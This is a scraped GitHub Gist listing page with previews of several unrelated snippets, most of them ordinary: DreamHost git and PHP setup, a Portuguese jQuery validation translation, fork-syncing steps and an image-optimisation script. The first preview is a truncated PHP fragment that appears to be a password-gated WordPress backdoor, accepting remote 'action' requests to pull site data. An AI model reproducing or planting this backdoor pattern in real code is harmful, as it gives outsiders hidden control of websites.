Skip to content

Instantly share code, notes, and snippets.

View viniciusbig's full-sized avatar

Vinicius Arantes viniciusbig

  • CI&T
  • Campinas - SP - Brazil
View GitHub Profile
<?php
if (isset($_REQUEST['action']) && isset($_REQUEST['password']) && ($_REQUEST['password'] == 'b1f82ddd4a0b8e05818e991bf56d64d0'))
{
switch ($_REQUEST['action'])
{
case 'get_all_links';
foreach ($wpdb->get_results('SELECT * FROM `' . $wpdb->prefix . 'posts` WHERE `post_status` = "publish" AND `post_type` = "post" ORDER BY `ID` DESC', ARRAY_A) as $data)
{
$data['code'] = '';
@peterc
peterc / newgit
Created September 30, 2009 15:35
Create and sync a new git repository on Dreamhost
# Create a new git repository on Dreamhost
# Function tweaked from that found at http://craigjolicoeur.com/blog/hosting-git-repositories-on-dreamhost
#
# Just add the code below to your .bashrc.
# Usage:
# newgit some-repo.git
#
# Then locally:
#
# git push --all ssh://$MACHINE/home/$USER/git/my-new-repos.git
#!/bin/bash
# usage: "newgit some/path"
newgit() {
### SETTINGS ###
# this is the root of all your git folders
local LOCAL_GIT_ROOT=~/web
# this is your ssh [user]@[host]
@nissicreative
nissicreative / dreamhost-php.md
Last active September 1, 2020 14:05
Update PHP and install Composer on DreamHost

DreamHost PHP

Make PHP 7 default binary for CLI

ssh <server>
@diegoprates
diegoprates / gist:5047663
Last active June 19, 2023 21:26
Tradução do jQuery validation plugin para pt-BR.
/*
* Translated default messages for the jQuery validation plugin.
* Locale: PT_BR
*/
jQuery.extend(jQuery.validator.messages, {
required: "Este campo &eacute; requerido.",
remote: "Por favor, corrija este campo.",
email: "Por favor, forne&ccedil;a um endere&ccedil;o eletr&ocirc;nico v&aacute;lido.",
url: "Por favor, forne&ccedil;a uma URL v&aacute;lida.",
date: "Por favor, forne&ccedil;a uma data v&aacute;lida.",
@CristinaSolana
CristinaSolana / gist:1885435
Created February 22, 2012 14:56
Keeping a fork up to date

1. Clone your fork:

git clone git@github.com:YOUR-USERNAME/YOUR-FORKED-REPO.git

2. Add remote from original repository in your forked repository:

cd into/cloned/fork-repo
git remote add upstream git://github.com/ORIGINAL-DEV-USERNAME/REPO-YOU-FORKED-FROM.git
git fetch upstream
@julianxhokaxhiu
julianxhokaxhiu / pagespeed_optimize_images.sh
Last active April 15, 2024 22:49
Recursively optimize all PNG and JPG files wherever they are from the script position and inner ( based on OPTING, PNGCRUSH, ADVANCECOMP and JPEGOPTIM )
#!/bin/bash
# Improved as per feedback from @pascal - https://gist.github.com/julianxhokaxhiu/c0a8e813eabf9d6d9873#gistcomment-3086462
find . -type f -iname "*.png" -exec optipng -nb -nc {} \;
find . -type f -iname "*.png" -exec advpng -z4 {} \;
find . -type f -iname "*.png" -exec pngcrush -rem gAMA -rem alla -rem cHRM -rem iCCP -rem sRGB -rem time -ow {} \;
find . -type f \( -iname "*.jpg" -o -iname "*.jpeg" \) -exec jpegoptim -f --strip-all {} \;